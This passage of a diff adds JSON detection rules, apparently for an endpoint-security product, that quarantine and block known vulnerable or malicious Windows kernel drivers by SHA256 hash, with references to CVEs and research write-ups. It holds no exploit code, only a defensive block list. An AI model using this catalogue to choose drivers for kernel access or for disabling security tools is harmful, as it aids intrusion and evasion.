+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613188Z",
+  "creation_date": "2026-03-23T11:45:29.613190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70870e20f563899e4f05be2d0049cb495552b409ca7f4729a335bcbfffc3f47c",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0760d845-aa17-5f17-8fef-68d93506d3e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455304Z",
+  "creation_date": "2026-03-23T11:45:30.455307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c509935f3812ad9b363754216561e0a529fc2d5b8e86bfa7302b8d149b7d04aa",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/70fa8606-c147-4c40-8b7a-980290075327/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07664fd3-e35f-5924-9b44-fff36b1833a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474208Z",
+  "creation_date": "2026-03-23T11:45:31.474211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40168b00f67f66299e0dd90821d58cc99847b240cbdc5e55798d3faf8b517323",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "076fa59c-9e94-5898-9e7c-12b71b877968",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478443Z",
+  "creation_date": "2026-03-23T11:45:30.478447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73fddd441a764e808ed6d6b8f3d0d13713e61221aa3cfef7da91cdaf112fe061",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07756c08-9011-51f9-83f6-0429ff62bac5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156126Z",
+  "creation_date": "2026-03-23T11:45:31.156128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e78e5d3343d079a8de332bf643119f9620744a02fa2996b9516388a104fa0acd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07850c35-b85f-58e0-8a78-3b9c6143b808",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488673Z",
+  "creation_date": "2026-03-23T11:45:31.488675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd2a221d679d56af948c3a60cbd005dce7efbcd1f99a07e06d3eba48691379b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0788752b-690e-5df5-ac06-4bc27d3e8633",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467296Z",
+  "creation_date": "2026-03-23T11:45:30.467300Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467309Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c24f503462a98f7a8bf0dbff0c8242e1f3d4e6cdf4327152f508717f0eafee4b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0788872b-1998-5761-aec0-acf2cc5feb97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482760Z",
+  "creation_date": "2026-03-23T11:45:31.482764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "598c6c1cb3fecd7406a21d28b231e24bf7803ebe7e460772add3a87819a59b88",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07a1edee-53c2-5aa8-84c6-1005c2d1246a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146241Z",
+  "creation_date": "2026-03-23T11:45:31.146243Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9f79647f8e09c23efd21d85cded1c6d91ff47bcb16875891373d700c9e644bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07a3621e-4039-5039-af12-13c8237a7916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972988Z",
+  "creation_date": "2026-03-23T11:45:29.972990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07a416f8-07e9-50e0-b38f-6eca0bb0b241",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817250Z",
+  "creation_date": "2026-03-23T11:45:31.817252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817258Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "505264db711d807080156698d019b75f7cd384775a7cec86d078cbe6e933dee8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07a69adb-f0ad-58c3-bb73-3d07382bf3a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605210Z",
+  "creation_date": "2026-03-23T11:45:29.605212Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605217Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ed37798f26ed2db67c01ae5229da39071e6130f495dfff733f9353f657f1c59",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07ac79fc-c673-588b-8e41-55615dcec095",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828649Z",
+  "creation_date": "2026-03-23T11:45:30.828652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d0eed7d4a655baaf39a130beb78fbe1791a0b438ad13405fd5a1594127e4c01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07c62b9a-7c5e-5f33-b40c-c4b59a8656a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825610Z",
+  "creation_date": "2026-03-23T11:45:31.825612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2c83c208933e42e27a4be03b0f9b734c36339e48841f9fe47a5282eb17e47da",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07ca592e-16aa-589f-be76-6e0d2c6cd8c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973923Z",
+  "creation_date": "2026-03-23T11:45:29.973925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07d6b9c1-6ddb-5113-a232-13e682d6f3d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817977Z",
+  "creation_date": "2026-03-23T11:45:30.817979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2bc7514201727d773c09a1cfcfae793fcdbad98024251ccb510df0c269b04e6",
+  "comment": "Vulnerable Kernel Driver (aka sepdrv3_1.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07de29c1-1825-5bec-950a-12b06fcec1a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821134Z",
+  "creation_date": "2026-03-23T11:45:30.821137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "898e07cf276ec2090b3e7ca7c192cc0fa10d6f13d989ef1cb5826ca9ce25b289",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07ea975a-45fc-52cf-995b-96cfd5923226",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815123Z",
+  "creation_date": "2026-03-23T11:45:31.815125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ad1dceb988c6c081726e950d2f420e2dac21c59160cc7919106e14988203cc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07ede0ac-ff29-5f78-9ec5-d97b29a62b77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821210Z",
+  "creation_date": "2026-03-23T11:45:31.821213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64da70b335897e3bc806bb4745fcc44fc80f3632edd418cb9ade3669cf29034b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07f2152c-8bdd-5451-87e2-bcfdbf7bb255",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820108Z",
+  "creation_date": "2026-03-23T11:45:31.820112Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fde6f8995ea6d7573471f2f60eed14d70759b3285543fb253fc1485d08982933",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07f73354-d356-5aca-b81c-889280b682bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618288Z",
+  "creation_date": "2026-03-23T11:45:29.618290Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618295Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c188b36f258f38193ace21a7d254f0aec36b59ad7e3f9bcb9c2958108effebad",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "07fb1fa8-aef7-5519-8e01-94f1164526e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808987Z",
+  "creation_date": "2026-03-23T11:45:31.808989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6c7ad757caca0914847acb9672482005ef5ddc453484d54f6938ab1c594b7df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08096db0-82c5-517d-9220-26d4a0decc85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479422Z",
+  "creation_date": "2026-03-23T11:45:30.479424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479429Z",
+  "rule_level": null,
+  "rule_level_override": null,
